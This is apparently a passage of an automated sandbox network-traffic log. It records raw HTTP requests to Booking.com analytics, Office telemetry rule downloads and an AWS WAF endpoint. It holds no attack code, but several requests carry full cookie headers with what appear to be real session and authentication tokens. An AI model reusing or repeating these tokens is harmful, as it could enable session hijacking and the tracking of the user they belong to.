_pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=39353224266a6361353326626a7b633f27354a253d40273a3a7425323a273a412530324a45414447522530312d3033444b5e253031253a322d30413b383238312d374c2732412537422532306d6d27303a27324334383027304338253a4131383a3831253d462d30432735402532326f6d2530302d3043363238253041302d324b31323a303125354c273a412537422732327427323227304b273232432d323127323b5358434c2d3a3325323a273a413332323b34253546253241273d40253230656d2730322d324b373b3e2d32433439273a413332323b34253546253241273d402532307c253030253a432d30304c415625323b273a31444b562732332530322530413b323331322d354627324b253d40273a3a6d6d253a302d304337393025324335392530413b323331322d354627324b253d40273a3a6d6d253a302d304337383b25324333313227304b313033303e253746253a432d37402d3a3274253a302d30432732304831253033653b613034306431253430353825343e6460256a383563256431373963383b63366531662530314c4b5625303b253030253a433b32313f3b2535442d304b2735402530326d6d27323227304b373835273a433336322d324b31323b3f3325354c273a412537422732327427323227304b2732324641562730332d323b464b5e2d3233253a302d304331303138392537442530412d374225303a6d6f27323a253a4137303b253243393431273241333233383927354427304b273542273a327627323a253a41273a3a4c41424d4e2d303327323144495627323327303a2732433138343234253d442d30412d3d4225323a6f652732302530433538322532413331312532413b303632362d354c27304b2d3542253a307c27323025304325323074657a762d30336c6d6f696c6c6165652d30314c415625323b273a302530433130343232253546273a412535402d32306f6d2d323a27304b3d3738253a413a333527324133303430302537462d304325374a2530306d65253a30273a4b3537362d304b303337253043333036333727374c273243273d422730327c253a30273a4b2532324e4d5a4f253033273233444b562530312d303225304b3332363539253d46273a4b2535422d303a6f6d27323025324337373427304b303533273a433132343d312d37462d3a4325354a273a307427323025324327323271776a6f6974273a332730334c495e27303b2d3232253a413b32343b372735442530432537402d30326d6f2d323027324b353f30273a4b3236392d304b313036393525354427354424606071635f6b6664677a3d3a32 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQ
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413631322d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=36383424266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d304337373325324330383327304b313035333c253746253a432d37402d3a326d6d2d303a273241353530253241323934273a413330373a392737442d324b27374a2d32326d65273a3025304337363825304333323a2d304333323d343727354c253a41273d4a2532327c273a30253043273232464d524d27303b2732334641562730332d323a27304b3b30353639273d462530432735422530326d6f273a302532413d363527324b33393a273a4b3330353e332d37442732412535422732326f6f2d303225304b353434253a433b303a2d3a4333303d353d273546253043253540253230762d303225304b253030627d747c6d6c2d3a3325323b432d30332732302532433130353b332d374425304b253740253a32656f273a3a2532433d343d2732413331362532413330373b39273544273a432737422d323a76273a3a2532432d303a5150434e2732332530336277767c6d6e25303b253030253a433b3234383e2535442d304b2735402530326d6d27323227304b373635273a433136342d324b31323e383625354c273a412537422732326d6f253230273a413536362d3241313539253a4131383e3337253d462d30432735402532326f6d2530302d304335343b253041333d372d30413b383637302d374c273241253742253230742530302d304325303a62777674676e2d30312d3a3341253a312d303227324133303736372537462d304325374a2530306d65253a30273a4b3536332d304b313630253043333035343727374c273243273d422730327c253a30273a4b2532324e4d5a4f253033273233444b562530312d303225304b33323a323a253d46273a4b2535422d303a6f6d27323025324337363227304b313637273a433132383a322d37462d3d44266260716b5d696c6467783d3231 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413637352d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=31303231262668636b3f3126606073613f253d422d37402d3a326d6d2d303a273241353431253241333730273a413331333b342737442d324b27374a2d32326d65273a302530433736312530433335342d3043333339363b27354c253a41273d4a253232656f2d3032273241353630273243313a382732433139313a37253d442d30412d3d4225323a762d303227324125323246495627303b2732334641562730332d323a27304b3b31323039273d462530432735422530326d6f273a302532413d363227324b333031273a4b33313238332d37442732412535422732326f6f2d303225304b35373b253a433b3a342d3a4333313a333d273546253043253540253230762d303225304b253030485a253a31273a3b4449562d303b273230253043333130333527374c273243273d42273032656d2d30302d3a43353530273a41333a382732433333323337273d462532412d354027323a742d30302d3a4325323a464154253033273233444b562530312d303225304b333330353a253d46273a4b2535422d303a6f6d27323025324337353827304b313931273a433133323d322d37462d3a4325354a273a306d6f253032253241353535273a413339312d324131313a373927374c2d3243253d402d30326f6d2732322530433537352d3043333b3d2530413339323035273d4c2532432d374a2732306d6f25323227324337373f2732433131372730433b313b323b2d3d4425324b273d402530326f6d253230253241373d352532413b393a27324b333931303a2d3544253a412d37422732306d6d2530322530413d373725304b343232253a433b33313d3f2535442d304b2735402530326d6d27323227304b373537273a433632312d324b31333b303225354c273a412537422732326d6f253230273a413535352d324136303a253a4131393b3936253d462d30432735402532326f6d2530302d304335373f2530413438332d30413b393433362d374c2732412537422532306d6d27303a273243373d372730433c303c27304b3b3134353f273d462530432735422530326d6f273a302532413d353527324b343837273a4b3331343f332d37442732412535422732326f6f2d303225304b353735253a433c32342d3a4333313c3a3d2735462530432535402532306f65273232273a433737372d324b36323f2d32433339373a3b253744273243253742253030656f2532302d324137353f253a413638302532433b333d353627354625324327354227303a6f6d25303a253041353d372d30413c383925324b313937393b253744253241253540273a306d6d273a322730433d353f27304b3c3130253a413b333634372735442530432537402d30326d6f2d323027324b353d35273a4b3431312d304b313135313725354427354424606071635f6b6664677a3d3a34 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413637362d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413634332d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=37313224266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d304337353525324336313227304b313137343c253746253a432d37402d3a3274253a302d3043273230464f524f253231273a314449542d323127323a253a41313b3f3933253d462d30432735402532326f6d2530302d304335323e253041343d342d30413b3b3739332d374c273241253742253230742530302d304325303a5352434e2d323b27303b6a757474676c2d303327323025324331333837322d374425304b253740253a32656f273a3a2532433c3731273241343b3225324133333a3738273544273a432737422d323a76273a3a2532432d303a464954253033253231444954273a312532302d3241313330373a27374c2d3243253d402d30326f6d27323225304334333a2d304335303e253041333b383f30273d4c2532432d374a273230742732322530432530304c4b5625303b2530314441562d30312d3a3225324b313b3b3237253744253241253540273a306d6d273a322730433b383827304b3d3537253a413b313930352735442530432537402d303274273a322730432d323a464b5e2d3233253a314c4b56273231253232273243313131363525374c253041253d422d303065652532322d304b313434253043353837253241313b3b3435273d442730432d354a27303a7c2532322d304b273230444b562532312532314641542532312d323027324b333b3b343f2d3544253a412d37422732306d6d2530322530413b333625304b363332253a433b313b3e3f2535442d304b2735402530326d6d27323227304b303839273a433431322d324b313131303125354c273a412537422732327427323227304b2732324a5c4d4e27323b253a31273a3b646f637d6f6d6c74273231253232273243313638323425374c253041253d422d303065652532322d304b303636253043363531253241313c323034273d442737442e6260716157616e6465703f3a37 